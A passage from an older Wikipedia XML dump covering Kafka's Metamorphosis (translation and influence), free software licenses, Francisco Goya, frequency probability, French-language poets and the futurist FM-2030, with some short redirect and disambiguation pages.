However, this English translation of the opening line is spurious. The actual German line runs like this:

:''Als Gregor Samsa eines Morgens aus unruhigen Träumen erwachte, fand er sich in seinem Bett zu einem ungeheueren Ungeziefer verwandelt.''

English translators have often sought to render the word ''Ungeziefer'' as &quot;insect&quot;, but this is not accurate, and is based on a misguided attempt to clarify what Kafka intended (according to his journals and letters to the publisher of the text) to be an ambiguous term. In German, ''Ungeziefer'' literally means &quot;[[vermin]]&quot; and is sometimes used to mean &quot;bug&quot; &amp;ndash; a very general term, totally unlike the scientific sounding &quot;insect&quot;. Kafka had no intention of labelling Gregor as this or that specific thing, but merely wanted to convey disgust in his transformation. Literally, the end of the line should be translated as ''...transformed in his bed into a monstrous vermin'' (this is the phrasing used in the David Wyllie translation [http://www.gutenberg.org/dirs/etext04/metam10h.htm]), although the feeling of the word in German is more colloquial sounding.

Amusingly, generations of English translators have gotten more and more carried away with this literal (and incorrect) version of Gregor's transformation, and have actually rendered ''Ungeziefer'' as &quot;[[cockroach]]&quot;, &quot;[[dung beetle]]&quot;, &quot;[[beetle]]&quot;, and other highly specific terms.  The only term in the book is &quot;dung beetle&quot;, used by the cleaning lady near the end of the story, but it is not used in the narration. This has become such a common misconception, that English speakers will often summarize ''Metamorphosis'' as &quot;...a story about a guy who turns into a cockroach&quot;. Despite all this, no such creature appears in the original text.

[[Vladimir Nabokov]], who was an [[entomologist]] as well as writer and literary critic, insisted that Gregor was ''not'' a cockroach, but a beetle with wings under his shell, and capable of flight - if only he had known it.

==Influence==

A very short sequel, [[The Retransformation of Gregor Samsa]], was written by Karl Brand. Brand, who suffered from [[tuberculosis]] and had to rely on his family, identified himself strongly with Samsa.

A longer sequel, [[Insect Dreams: The Half Life of Gregor Samsa]] was written in 2002 by [[Marc Estrin]].[http://endeavor.med.nyu.edu/lit-med/lit-med-db/webdocs/webdescrips/estrin12147-des-.html] In it, Gregor is revealed to have survived his apparent death at the end of the original story and goes on to have additional travels and experiences.

In [[Mel Brooks]]' [[1968]] movie ''[[The Producers (1968 film)|The Producers]]'', two men working on a fraud scheme are looking for the worst play they can find, and pass up ''The Metamorphosis'' (after having read the line about Gregor being a giant insect) as being &quot;too good&quot;. This dialogue survives in the [[2001]] [[Broadway theatre|Broadway]] and [[2006]] movie adaptations.

In another Mel Brooks movie, ''[[Spaceballs]]'', [[Dark Helmet]] passes a reference to Kafka when their spaceship is transforming into a gigantic maid.

The dialogue driven cartoon [[Home Movies (cartoon series)|Home Movies]] did a tribute to &quot;The Metamorphosis&quot; in &quot;Director's Cut&quot;, an episode in the first season of the show.  The characters performed a rock opera style retelling of the short story.

In [[The Venture Bros.]] episode &quot;Mid-Life Chrysalis&quot;, Dr. Venture's transformation into a caterpillar slightly mirrors that of [[Gregor Samsa]]'s transformation. Quote: &quot;Gentlemen, what you are about to see is a nightmare inexplicably torn from the pages of Kafka!&quot;

Notorious American cartoonist [[Robert Crumb]] drew an illustrated adaptation of the novella.

Another, rather twisted, parody appears in the [[anime]] series [[Bokusatsu Tenshi Dokuro-chan]].

In the comic book [[Johnny the Homicidal Maniac]] by [[Jhonen Vasquez]], the titular Johnny is plagued by a roach that keeps appearing in his house no matter how many times he kills it (whether or not this roach is immortal or simply many different roaches is up to interpretation) and is affectionately named &quot;Mr. Samsa&quot;.

In the Simpsons book Treehouse of Horror Spook-tacular, [[Matt Groening]] did a [[Parody|spoof]] on the metamorphisis, entitling it Metamorphsimpsons.

In the Steve Jackson game [[Munchkin Bites!]], players may face &quot;Gregor&quot;, a giant cockroach reading a book titled ''Kafka for Dummies''.

In the popular comic [[Calvin and Hobbes]], Hobbes claims that if he does not receive a good night kiss, he will have Kafka dreams.

In the popular comic [[FoxTrot]], Jason sleeps with the hopes of waking up as a beetle but instead wakes up as a younger clone of his sister.




==External links==
* [http://www.digbib.org/Franz_Kafka_1883/Die_Verwandlung Etext of original German] at DigBib.org (text, pdf, html)
* [http://www.mala.bc.ca/~johnstoi/stories/kafka-E.htm English translation] by [[Ian Johnston]]
* {{gutenberg|no=5200|name=Metamorphosis}} &amp;mdash; [[David Wyllie]]'s [[English language|English]] translation
* [http://ciudadseva.com/textos/cuentos/euro/kafka/metamor.htm Etext of a Spanish translation] (translator not identified)
* [http://victorian.fortunecity.com/vermeer/287/nabokov_s_metamorphosis.htm Lecture on the Metamorphosis] by [[Vladimir Nabokov]]
* [http://www.tameri.com/csw/exist/ Existential Primer]
* [http://www.nvcc.edu/home/vpoulakis/Translation/kafkatr1.htm Lesson on the difficulties of translating the story into English]

{{wikisource}}
{{philos-novel-stub}}

[[Category:1915 books|Metamorphosis]]
[[Category:Existentialism|Metamorphosis]]
[[Category:German stories|Metamorphosis]]
[[Category:Shapeshifting in fiction|Metamorphosis]]

[[cs:Proměna (povídka)]]
[[de:Die Verwandlung]]
[[es:La metamorfosis]]
[[fr:La Métamorphose]]
[[hr:Preobrazba (F. Kafka)]]
[[it:La Metamorfosi]]
[[nl:De gedaanteverwisseling]]
[[ja:変身 (小説)]]
[[pt:A Metamorfose]]
[[sv:Förvandlingen]]
[[zh:变形记 (卡夫卡)]]</text>
    </revision>
  </page>
  <page>
    <title>Free links</title>
    <id>10863</id>
    <revision>
      <id>19200455</id>
      <timestamp>2005-07-20T03:17:06Z</timestamp>
      <contributor>
        <username>Jnc</username>
        <id>18024</id>
      </contributor>
      <comment>Better target</comment>
      <text xml:space="preserve">#REDIRECT [[CamelCase and Wiki]]</text>
    </revision>
  </page>
  <page>
    <title>Free software licenses</title>
    <id>10864</id>
    <revision>
      <id>38624361</id>
      <timestamp>2006-02-07T15:43:43Z</timestamp>
      <contributor>
        <username>Gronky</username>
        <id>87356</id>
      </contributor>
      <minor />
      <comment>/* FSF-approved free software licenses */ remove redundant div tags</comment>
      <text xml:space="preserve">[[Free software]] is [[software]] which grants recipients the [[freedom]] to run it, to study it, to modify it, and to redistribute it.  [[Copyright]] law prohibits most of these actions, so for software to be free software, the copyright holder must give all recipients an explicit permission to do these things.  This grant of rights is called a license, and if the above noted freedoms are included in the grant, the license is a '''free software license'''.

Put another way, a free software license is a license which grants permissions to the recipient to remove any ownership issues which would otherwise prevent the software from being [[free software]].

==FSF-approved free software licenses==
[[Free Software Foundation]], the group that maintains The Free Software Definition, maintains a list of free software licenses.  The list distinguishes between free software licenses that are compatible or incompatible with the FSF license of choice, the [[GNU General Public License]], which is a [[copyleft]] license. The list also contains licenses which the [[FSF]] considers non-free for various reasons. Note that the [[open source license]] list differs slightly, but in almost all cases the definitions apply to the same licenses.

{{col-begin}}
{{col-2}}
* [[Academic Free License]], version 1.1, 2.1
* [[Affero General Public License]]
* [[Apache License]], Version 1.0, 1.1, 2.0
* [[Apple Public Source License]], version 2
* [[Arphic Public License]]
* [[Artistic License 2.0]]
* [[Berkeley Database License]] (aka the Sleepycat Software Product License)
* [[Boost Software License]]
* [[CeCILL version 2]]
* [[Clarified Artistic License]]
* [[Common Development and Distribution License]]
* [[Common Public License]], version 1.0
* [[Cryptix General License]]
* [[EU DataGrid Software License]]
* [[Eclipse Public License]], version 1.0
* [[eCos license version 2.0]]
* [[Eiffel Forum License, version 2]]
* [[Expat License]]
* [[GNU General Public License]]
* [[GNU Lesser General Public License]]
* [[IBM Public License]], Version 1.0
* [[Intel Open Source License]] (as published by OSI)
* [[Interbase Public License]], Version 1.0
* [[Jabber Open Source License]], version 1.0
* [[LaTeX Project Public License]] 1.2, 1.3a
* [[License of GNU Ada|License of the run-time units of the GNU Ada compiler]]
* [[License of Guile]]
* [[License of Netscape Javascript]]
* [[License of Vim, Version 6.1 or later]]
* [[License of ZLib]]

{{col-2}}

* [[License of the iMatix Standard Function Library]]
* [[License of xinetd]]
* [[Lucent Public License Version]], also known ask the Plan 9 License, version 1.02
* [[Modified BSD license]], first used by [[FreeBSD]] and [[OpenBSD]]
* [[Mozilla Public License]]
* [[Netizen Open Source License]], Version 1.0
* [[Netscape Public License]]
* [[Nokia Open Source License]]
* [[Old OpenLDAP License, Version 2.3]]
* [[Open Software License, version 1.0]]
* [[OpenLDAP License]], Version 2.7
* [[OpenSSL license]]
* [[Original BSD license]], still used by [[NetBSD]]
* [[PHP License]], version 3.0 only
* [[Phorum License, Version 2.0]]
* [[Public Domain]]
* [[Python Software Foundation License]]
* [[Q Public License]], version 1.0
* [[Standard ML of New Jersey Copyright License]]
* [[Sun Industry Standards Source License]], version 1.0
* [[Sun Public License]]
* [[The Condor Public License]]
* The license of [[Ruby (programming language)|Ruby]][http://www.ruby-lang.org/en/LICENSE.txt]
* [[Vita Nuova Liberal Source License]]
* [[W3C Software Notice and License]]
* [[X11 License]]
* [[XFree86 1.1 License]]
* [[Zend License]], version 2.0
* [[Zope Public License version 2.0]]
* [[Zope Public License]], version 1 only

{{col-end}}

== BSD philosophy ==

Many users and developers of [[BSD]]-based operating systems have a different position on licensing. The main difference is the belief that the [[copyleft]] licenses, particularly the [[GNU General Public License]] (GPL), are too complicated and have restrictions which are unacceptable; some also object to the &quot;viral&quot; effect of the copyleft licenses. All of the open source BSDs tend to avoid including software licensed under the GPL in the core operating system (usually known as the ''base system'') except as a last resort, when alternatives are non-existent or vastly less capable, such as with the [[GNU Compiler Collection]]. The most extreme is probably the [[OpenBSD]] project, which in recent years has taken active steps to remove GPL-licensed tools in favour of BSD-licensed alternatives, some newly written and some adapted from older code.  Part of OpenBSD's reason for avoiding the GPL is a push to get good, secure code used as widely as possible, without restriction; this has been a great success in the case of child project [[OpenSSH]], which has widely replaced insecure alternatives such as [[telnet]] and [[rlogin]].  New software written by BSD developers is often distributed under the [[modified BSD license]], which the [[Free Software Foundation|FSF]] brand a non-copyleft, or &quot;permissive&quot; license.

== Debian ==

The [[Debian]] project uses the criteria laid out in it's [[Debian Free Software Guidelines]].  The only notable cases where Debian and Free Software Foundation disagree are over the [[Artistic License]] and the [[GNU Free Documentation License]].  Debian accept the original Artistic License as being a free software license, but FSF disagree.  This has very little impact however since the Artistic License is almost always used in a [[dual-license]] setup, along with the [[GNU General Public License]].

About the GNU Free Documentation License, Debian and FSF disagree over whether it is a software license at all, and therefore whether any defintion of free software should be applied to it.  Debian argue that documentation is software, and so documentation licenses must be examined against free software guidelines.  FSF say that documentation is different to software and is subject to different requirements.

== See also ==

* [[Free software movement]]

== External links ==
* [http://www.gnu.org/philosophy/free-sw.html The Free Software Definition] (Free Software Foundation).
* [http://www.gnu.org/philosophy/license-list.html The Free Software Foundation's list of free and unfree licenses]
* [http://www.debian.org/legal/licenses/ Debian's license information page]
* [http://www.opensource.org/licenses/ Open Source Initiative's list of license]

[[Category:Free software licenses]]
[[Category:Software licenses]]</text>
    </revision>
  </page>
  <page>
    <title>FSF</title>
    <id>10865</id>
    <revision>
      <id>39245261</id>
      <timestamp>2006-02-11T20:38:46Z</timestamp>
      <contributor>
        <ip>66.112.232.43</ip>
      </contributor>
      <comment>incorrect priorities</comment>
      <text xml:space="preserve">'''FSF''' can stand for:

* [[Free Software Foundation]]
* [[F. Scott Fitzgerald]]
* The Band [[Further Seems Forever]]
* [[Football Supporters' Federation]]

{{TLAdisambig}}</text>
    </revision>
  </page>
  <page>
    <title>Francisco Goya</title>
    <id>10868</id>
    <revision>
      <id>42161743</id>
      <timestamp>2006-03-04T05:46:32Z</timestamp>
      <contributor>
        <username>Antandrus</username>
        <id>57658</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/66.37.63.162|66.37.63.162]] ([[User talk:66.37.63.162|talk]]) to last version by Vary</comment>
      <text xml:space="preserve">: ''This article is about '''Francisco Goya''', a Spanish painter. For other uses of the name Goya, see [[Goya (disambiguation)]].''

[[Image:Goya selfportrait.jpg|thumb|right|170px|Goya self-portrait.]]

'''Francisco José de Goya y Lucientes''' ([[March 30]], [[1746]] &amp;ndash; [[April 16]], [[1828]]) was a [[Spain|Spanish]] [[painter]] and [[Engraving|engraver]].  

Goya was a portraitist of royalty and chronicler of history who produced painting and prints. His later influence is significant since his art was both deeply subversive and subjective, at a time when such attitudes were not predominant. His emphasis on the foreground and faded background portends the work of [[Édouard Manet|Manet]].

Many of Goya's works are on display at the [[Museo del Prado]].

==Biography==

Goya was born in Fuendetodos, in the province of Saragossa on the [[30 March]] [[1746]] to Joseph Goya and Gracia Lucientes. 

His childhood was spent in Fuendetodos where his family lived in the family house which bore the family crest of his mother, and which was surrounded by the dry lands where his father practiced the trade of gilder. About 1749 the family bought a house in the city of Saragossa and some years later moved into it.

[[Image:Goya3.jpg|thumb|right|275px|[[Francisco Goya]]. ''The Third of May 1808: The Execution of the Defenders of Madrid''. 1814. Oil on canvas. 345 x 266 cm. Madrid: [[Museo del Prado]].]]

Goya attended school at Escuelas Pias where he formed a close friendship with Martin Zapater, and their correspondence over the years became valuable material for biographies of Goya. At 14 he entered apprenticeship with the painter [[Jose Lujan]].

He later moved to Madrid where he studied with [[Anton Raphael Mengs]], a painter who was popular with Spanish royalty. He clashed with his master, and his examinations were unsatisfactory.

Goya submitted entries for the Spanish Royal Academy in 1763, and 1766, and both times he was denied entrance. He then journeyed to Rome where in 1771 he won second prize in a painting competition organized by the City of Parma.

[[Image:Francisco de Goya y Lucientes 054.jpg|thumb|right|275px|''Charles IV of Spain and his family.'']]

He returned to Saragossa in 1771 and painted a part of the cupola of the Basilica of the Pillar, frescoes of the oratory of the cloisters of Aula Dei, and the frescoes of the Sobradiel Palace. He studied with [[Francisco Bayeu y Subías]] and his painting began to show signs of the delicate tonalities for which he became known.

Goya and Bayeu's sister, [[Josefa Bayeu|Josefa]], married in 1774. His marriage to Josefa (Pepa he called her) gained him work with the Royal Tapestry Workshop where over five years he designed some 42 patterns. He also gained access to the royal court, painted a canvas for the altar of the Church of San Francisco El Grande, and was appointed a member of the Academy of San Fernando.

In 1783, the Count of Floridablanca, favourite of King Carlos III, commissioned him to paint his portrait. He also became friends with Crown Prince Don Luis, and lived in his house. His circle of patrons grew to include the Duke and Duchess of Osuna, whom he painted, the King and other notable people of the kingdom.

After the death of Carlos III in 1788 and revolution in France in 1789, during the reign of Carlos IV, Goya reached his peak of popularity with royalty.

After an illness in 1792 Goya was left deaf and he became withdrawn and introspective.

In 1799 he was appointed the Spanish royal painter with a salary of 50,000 reales and 500 ducats for a coach. He worked  on the cupola of the Hermitage of San Antonio de la Florida; he painted the King and the Queen, Royal family pictures, portraits of Princess de la Paz and many other nobles.

He became embittered, which shows in ''[[Los Caprichos]]''.

[[Image:Goya - Saturno devorando a su hijo.jpg|thumb|160px|left|''Saturn Devouring His Son'' (1819).]]

As French forces invaded Spain during the [[Peninsular War]] (1808–1814), the new Spanish court of Jose I received him as had its predecessors.

When Pepa died in 1812 Goya was painting ''The Charge of the Mamelukes'' and ''[[The Third of May 1808]]'', and preparing the series of prints known as ''The Disasters of War''.

Ferdinand VII came back to Spain but relations with Goya were not cordial. In 1814 Goya lived with his cousin Rosario Weiss, and her daughter, Dona Leocadia, who he loved madly. He continued to work incessantly on portraits, pictures of Santa Justa and Santa Rufina, lithographs, pictures of tauromachy, and more

With the idea of isolating himself, he bought a house near Manzanares, which became known as the &quot;House of the Deaf&quot;. There, more enclosed within himself he made the ''[[Black Paintings]]''.

Unsettled and discontented he left Spain in May 1824 for Bordeaux and Paris. He settled in Bordeaux

He returned to Spain in 1826 after another period of ill health, but despite a warm welcome he returned to Bordeaux where he died on [[April 16]] [[1828]].

== Works ==

Goya painted the Spanish royal family, including [[Charles IV of Spain]] and [[Ferdinand VII of Spain|Ferdinand VII]]. His themes range from merry festivals for [[tapestry]], draft cartoons, to scenes of [[war]], fighting and corpses. This evolution reflects the darkening of his temper. Modern physicians suspect that the [[lead]] in his pigments poisoned him and caused his [[post-lingual hearing impairment|deafness]] since [[1792]]. Near the end of his life, he became reclusive and produced frightening and obscure paintings of insanity, madness, and fantasy.  The style of these ''[[Black Paintings]]'' prefigure the [[Expressionism|expressionist]] movement. He often painted himself into the foreground.

[[Image:nudemaja.JPG|thumb|200px|right|[[La Maja Desnuda|''The Nude Maja'']].]]
[[Image:clotmaja.JPG|thumb|200px|right|''The Clothed Maja.'']]

Two of Goya's best known paintings are [[La Maja Desnuda|''The Nude Maja'' (''La Maja desnuda'')]] and ''The Clothed Maja'' (''La Maja vestida''). They depict the same woman in the same pose, naked and clothed respectively. He painted ''La Maja Vestida'' after outrage in Spanish society over the previous ''Desnuda''. He refused to paint clothes on her, and instead created a new painting.  (See also: [[Majo]].)

In ''[[The Third of May 1808|The Third of May, 1808: The Execution of the Defenders of Madrid]]'', Goya attempted to &quot;perpetuate by the means of his brush the most notable and heroic actions of our glorious insurrection against the Tyrant of Europe&quot;&lt;ref&gt;Francisco Goya, quoted at [http://www.artchive.com/artchive/G/goya/may_3rd.jpg.html Artchive].&lt;/ref&gt;  The painting does not show an incident that Goya witnessed; rather it was meant as more abstract commentary.

Another familiar Goya work is ''Saturn Devouring His Son'', which displays a [[Classical mythology|Greco-Roman]] [[mythological]] scene of the god [[Saturn (mythology)|Saturn]] consuming a child.  This painting is one of 14 in a series called the ''[[Black Paintings]].

In 1799 he created a series of 80 prints titled ''[[Los Caprichos]]'' depicting what he called &quot;the innumerable foibles and follies to be found in any civilized society, and from the common prejudices and deceitful practices which custom, ignorance, or self-interest have made usual.&quot;[http://www.worldandi.com/newhome/public/2004/february/bkpub1.asp]

{{expandsection}}

==Cinema==
[[image:GoyaBordeaux.jpg|thumb|right|170px|Remembrance plaque for Goya in Bordeaux]]
Several films portray Goya's life:
* {{imdb title|id=0210717|title=Goya in Bordeaux (1999)}}
* {{imdb title|id=0216386|title=Volavérunt (1999)}}
*''[[Goya's Ghosts]]'' (2006) In production

==References==
&lt;references /&gt;
* ''Goya'' (a biographical novel) by [[Lion Feuchtwanger]]  ISBN 8476408838 
* ''Goya'' by [[Robert Studley Forrest Hughes|Robert Hughes]], 2003, ISBN 1843430541

==External links==
{{quote}}
{{Commons|Francisco de Goya y Lucientes}}
* [http://eeweems.com/goya/index.html Goya images, biography and resources]
* [http://www.abcgallery.com/G/goya/goya.html Goya at Olga's Gallery]
* [http://www.gasl.org/refbib/Goya__Caprichos.pdf ''Los Caprichos''] (PDF in the [http://www.gasl.org/as/referenz Arno Schmidt Reference Library])
* [http://www.gasl.org/refbib/Goya__Guerra.pdf ''Desastres de la Guerra''] (PDF in the [http://www.gasl.org/as/referenz Arno Schmidt Reference Library])
* [http://www.worldandi.com/newhome/public/2004/february/bkpub1.asp ''The Sleep of Reason'' - article in World&amp;I Magazine]


{{romanticism}}

[[Category:1746 births|Goya, Francisco de]]
[[Category:1828 deaths|Goya, Francisco de]]
[[Category:Francisco Goya|*Goya, Francisco]]
[[Category:Spanish engravers|Goya, Francisco]]
[[Category:Spanish painters|Goya, Francisco]]
[[Category:Romantic painters|Goya, Francisco]]

[[af:Francisco Goya]]
[[an:Franzisco de Goya]]
[[ca:Francisco de Goya y Lucientes]]
[[de:Francisco José de Goya y Lucientes]]
[[et:Francisco Goya]]
[[es:Francisco de Goya]]
[[eo:Francisco de GOYA]]
[[fr:Francisco Goya]]
[[gl:Francisco José de Goya y Lucientes]]
[[hr:Francisco Goya]]
[[it:Francisco Goya]]
[[he:פרנסיסקו דה גויה]]
[[nl:Francisco Goya]]
[[nds:Francisco Goya]]
[[ja:フランシスコ・デ・ゴヤ]]
[[no:Francisco Goya]]
[[pl:Francisco Goya]]
[[pt:Francisco Goya]]
[[ro:Francisco de Goya]]
[[ru:Гойя, Франсиско Хосе де]]
[[sl:Francisco de Goya y Lucientes]]
[[fi:Francisco Goya]]
[[sv:Francisco de Goya]]
[[zh:弗朗西斯哥·戈雅]]</text>
    </revision>
  </page>
  <page>
    <title>Frequency probability</title>
    <id>10869</id>
    <revision>
      <id>41225501</id>
      <timestamp>2006-02-25T22:29:48Z</timestamp>
      <contributor>
        <username>Dvavasour</username>
        <id>55791</id>
      </contributor>
      <minor />
      <comment>[[WP:AWB|AWB assisted]] clean up + typo fix</comment>
      <text xml:space="preserve">[[image:John_Venn.jpg|thumb|150px|John Venn.]]

The problems and paradoxes of the [[classical interpretation]] of [[Probability interpretations|probability]] motivated the development of the [[relative frequency]] concept of probability. 

Most of the mathematics commonly used to make statistical estimates or tests are developed by statisticians who use this concept exclusively. They are usually called '''frequentists''', and their position is called '''frequentism'''. A statistician who uses traditional methods of inference is therefore referred to as a ''frequentist'' statistician. Frequentism is, by far, the most commonly held view among working statisticians, probability theorists and physicists. 

Frequentists talk about probabilities only when dealing with well-defined ''[[random]] [[experiments]]''. The outcomes of a random experiment are called its possible ''[[event (probability theory)|events]]'', and the set of all possible events is called the ''[[sample space]]'' of the experiment. The relative frequency of occurrence of an event in the sample space, when repeating the experiment, is a measure of the probability of that random event. 

This is a highly technical and ''scientific'' definition of &quot;probability&quot; and doesn't claim to capture all connotations of the concept 'probable' in colloquial speech of natural languages. Compare how the concept of [[force]] is used by physicists in a precise manner despite the fact that ''force'' is also a concept in many natural languages, used in religious texts for example. However, this seldom causes problem or confusion, as the context usually reveal if it's the scientific concept that is intended or not. 

This school is often associated with the names of [[Jerzy Neyman]] and [[Egon Pearson]] who described the logic of [[statistical hypothesis testing]]. Other influential figures of the frequentist school include [[John Venn]], [[Ronald Aylmer Fisher|R.A. Fisher]], and [[Richard von Mises]]. 

==See also==
*[[probability interpretations]]
*[[Bayesian probability]]
*[[eclectic probability]]
*[[probability]]
*[[statistics]]
*[[statistical regularity]]
*[[probability axioms]]
*[[games of chance]]

==External links==
* Charles Friedman, ''The Frequency Interpretation in Probability'' [http://www.ma.utexas.edu/~friedman/freq.ps PS]
* John Venn, [http://dz-srv1.sub.uni-goettingen.de/sub/digbib/loader?ht=VIEW&amp;did=D59523&amp;p=1 The Logic of Chance]

==Bibliography==
* P W Bridgman, ''The Logic of Modern Physics'', 1927
* Alonzo Church, ''The Concept of a Random Sequence'', 1940
* Harald Cramér, ''Mathematical Methods of Statistics'', 1946
* P Martin-Löf, ''On the Concept of a Random Sequence'', 1966
* Richard von Mises, ''Probability, Statistics, and Truth'', 1939 (German original 1928)
* Jerzy Neyman, ''First Course in Probability and Statistics'', 1950
* Hans Reichenbach, ''The Theory of Probability'', 1949 (German original 1935)
* Bertrand Russell, ''Human Knowledge'', 1948
* John Venn, ''The Logic of Chance'', 1866

[[Category:Probability and statistics]]

[[de:Frequentistischer Wahrscheinlichkeitsbegriff]]
[[pl:Prawdopodobieństwo obiektywne]]
[[su:Frequency probability]]</text>
    </revision>
  </page>
  <page>
    <title>List of French language poets</title>
    <id>10870</id>
    <revision>
      <id>41079364</id>
      <timestamp>2006-02-24T22:41:09Z</timestamp>
      <contributor>
        <username>Dlyons493</username>
        <id>335419</id>
      </contributor>
      <comment>Souéloum Diagho</comment>
      <text xml:space="preserve">{{French literature}}
[[Poet]]s who have written in the [[French language]]:

*[[Guillaume Apollinaire]]
*[[Louis Aragon]]
*[[Agrippa d'Aubigné]]
*[[Charles-Pierre Baudelaire]]
*[[Jean-Antoine de Baïf]]
*[[Nicolas Boileau-Despréaux]]
*[[André Breton]]
*[[Blaise Cendrars]]
*[[Jean Chapelain]]
*[[René Char]]
*[[Chrétien de Troyes]]
*[[Paul Claudel]] 
*[[Jean Cocteau]]
*[[Octave Crémazie]]
*[[Alexandre Juster]]
*[[René Daumal]]
*[[Jean Daurat]]
*[[Robert Desnos]]
*[[Souéloum Diagho]]
*[[Paul Eluard|Paul Éluard]]
*[[Évariste de Forges de Parny|Évariste Desiré de Forges, vicomte de Parny]]
*[[Christine de Pisan]]
*[[Pontus de Tyard]]
*[[Paul Dirmeikis]]
*[[Joachim du Bellay]]
*[[Antoine Héroet]]
*[[Max Jacob]]
*[[Louise Labé]]
*[[Félix Leclerc]]
* [[Guillaume de Lorris]]
*[[Martin le Franc]] (1410&amp;ndash;1461)
*[[Gherasim Luca]]
*[[Guillaume de Machaut]]
*[[François de Malherbe]]
*[[Stéphane Mallarmé]]
*[[Clément Marot]]
* [[Jeun de Meun]]
*[[Henri Michaux]]
*[[Charles, duc d'Orléans]]
*[[Francis Ponge]]
*[[Jacques Prévert]]
*[[Raymond Queneau]]
*[[Paul Reverdy]]
*[[Pierre de Ronsard]]
*[[Victor Hugo]]
*[[Melin de Saint-Gelais]]
*[[Saint-Denys Garneau]]
*[[André Salmon]]
*[[Maurice Scève]]
*[[Léopold Senghor]]
*[[Philippe Soupault]]
*[[Julien Torma]]
*[[Tristan Tzara]]
*[[François Villon]]
*[[Vincent Voiture]]
*[[Robert Wace]]


'''[[Symbolist Poets]]'''

*[[Charles Baudelaire]]
*[[Tristan Corbière]]
*[[Gustave Kahn]]
*[[Jules Laforgue]]
*[[Comte de Lautréamont]]
*[[Stéphane Mallarmé]]
*[[Arthur Rimbaud]]
*[[Paul Valéry]]
*[[Paul Verlaine]]
*[[Emile Nelligan|Émile Nelligan]]

==See also== 
*[[French literature]]
*[[Francophone literature]]
*[[List of French language authors]]
*[[List of French novelists]]
*[[List of French people]]
*[[List of Canadians]]

[[Category:Lists of poets|French]]
[[Category:French poetry| ]]

[[fr:Liste de poètes de langue française]]</text>
    </revision>
  </page>
  <page>
    <title>FM-2030</title>
    <id>10871</id>
    <revision>
      <id>41517863</id>
      <timestamp>2006-02-27T22:15:21Z</timestamp>
      <contributor>
        <ip>64.47.65.3</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">'''FM-2030''' was a name adopted by the [[Transhumanism|transhumanist]] [[philosopher]] and [[futurist]] '''Fereidoun M. Esfandiary''' ([[October 15]], [[1930]]&amp;ndash;[[July 8]], [[2000]]?), who professed &quot;a deep [[nostalgia]] for the future.&quot; He wrote one of the seminal works in the transhumanist canon, ''[[Are You a Transhuman?]]''. He also wrote a number of works of [[fiction]] under his original name F.M. Esfandiary. The son of an Iranian diplomat, he had lived in 17 countries by the time he turned eleven, and later served on the [[UNSCOP|United Nations Conciliation Commission for Palestine]] from [[1952]] to [[1954]]. On [[July 8]], [[2000]], FM-2030 succumbed to [[pancreatic cancer]] and entered [[cryonic suspension]] at the [[Alcor Life Extension Foundation]] in [[Scottsdale, Arizona|Scottsdale]], [[Arizona]], where he remains today.

==Adopted name==
F.M. Esfandiary changed his name to FM-2030 to reflect the hope and belief he would live to celebrate his 100th year in 2030. In his own words, &quot;Conventional names define a person's past: ancestry, ethnicity, nationality, religion. I am not who I was ten years ago and certainly not who I will be in twenty years. [...] The name 2030 reflects my conviction that the years around 2030 will be a magical time. In 2030 we will be ageless and everyone will have an excellent chance to live forever. 2030 is a dream and a goal.&quot; Sadly, he missed his goal by 30 years.

==Predictions of social change==
Many of FM-2030's predictions about social trends from the 1970's through the early 21st Century proved remarkably prescient.  FM-2030 argued that the inherent dynamic of the modern globalizing civilization would bring such changes about despite the best efforts of conservative elites to enforce traditional beliefs. 

Unfortunately FM-2030's more envelope-pushing conjectures about future social and psychological changes opened him up to criticism because they come across as a compilation of [[science fiction]] clichés, as if he viewed the scientific &quot;utopia&quot; in [[Aldous Huxley]]'s novel ''[[Brave New World]]'' as a sound plan for organizing the world in the 21st Century. (Curiously, although FM-2030 demonstrated a gift for story-telling in his realistic novels critical of the conditions in Islamic societies, he apparently never tried to show his [[futuristic]] ideas in action through a science fiction novel.)  FM-2030's optimism about the potential for human development has not remained as defensible, either.  Influenced by [[social progressivism|progressive]] opinion during the mid-20th Century, FM-2030 may have misread the social disruptions he witnessed in developed societies in the late 1960's as evidence of a &quot;permanent&quot; transformation in the human condition, rather than short-term social trends with lasting, but subdued, effects. 

==Quote==
:&quot;I am a [[21st century]] person who was accidentally launched in the [[20th century|20th]]. I have a deep nostalgia for the future.&quot;

==Fiction books==
*''The Day of Sacrifice'' [[1959]]  available as an eBook
*''The Beggar'' [[1965]]
*''Identity Card'' [[1966]] (ISBN 0460038435) available as an eBook

==Non-fiction books==
*''UpWingers: A Futurist Manifesto'' [[1973]] (ISBN 0381982432) (pbk.)  Available as an eBook ISBN FW00007527 , Publisher: e-reads, Pub. Date: Jan 1973, File Size: 153K
*''Telespheres'' [[1977]]
*''Optimism one; the emerging radicalism'' [[1970]] (ISBN 0393086119)
*''Are You a Transhuman?: Monitoring and Stimulating Your Personal Rate of Growth in a Rapidly Changing World'' [[1989]] (ISBN 0446388068).

==External links==
*[http://www.imminst.org Immortality Institute]
*[http://www.transhuman.org Transhuman InfoMark]
*[http://www.aleph.se/Trans/index.html Anders Transhuman Page]
*[http://www.betterhumans.com/Errors/index.aspx?aspxerrorpath=/searchEngineLink.article.2002-05-21-2.aspx Betterhumans &gt; Resources &gt; People &gt; FM-2030]
*[http://www.fm2030.com/ FM-2030 - A Futurist Ahead of His Times]
*[http://www.lightmillennium.org/winter01/fm_jboston.html FM &amp; I, by Johnny BOSTON]
*[http://www.positiveliberty.com/2004/06/himself-in-anachron.html Himself In Anachron]
*[http://chem.ch.huji.ac.il/~porath/NST2/Lecture%2010/Nanononsense.pdf Nano Nonsense and Cryonics, by Michael Shermer]
*[http://www.alcor.org/press2001SciAm.html Cryonics and ''Scientific American'']
*[http://www.context.org/ICLIB/IC10/Esfandry.htm Intimacy in a Fluid World, by F.M. Esfandiary]
*[http://www.quantium.cwc.net/venturist/tv003.pdf FM-2030 SUSPENDED]

*[http://www.npr.org/templates/story/story.php?storyId=1076532 NPR story about FM-2030]

[[Category:1930 births|FM-2030]]
[[Category:2000 deaths|FM-2030]]
[[Category:Iranian Americans]]
[[Category:Transhumanists|FM-2030]]
[[Category:Cryonically preserved people|FM-2030]]

[[fi:FM-2030]]</text>
    </revision>
  </page>
  <page>
    <title>Foetus</title>
    <id>10872</id>
    <revision>
      <id>18372556</id>
      <timestamp>2005-07-08T03:18:16Z</timestamp>
      <contributor>
        <username>Stevertigo</username>
        <id>4099</id>
      </contributor>
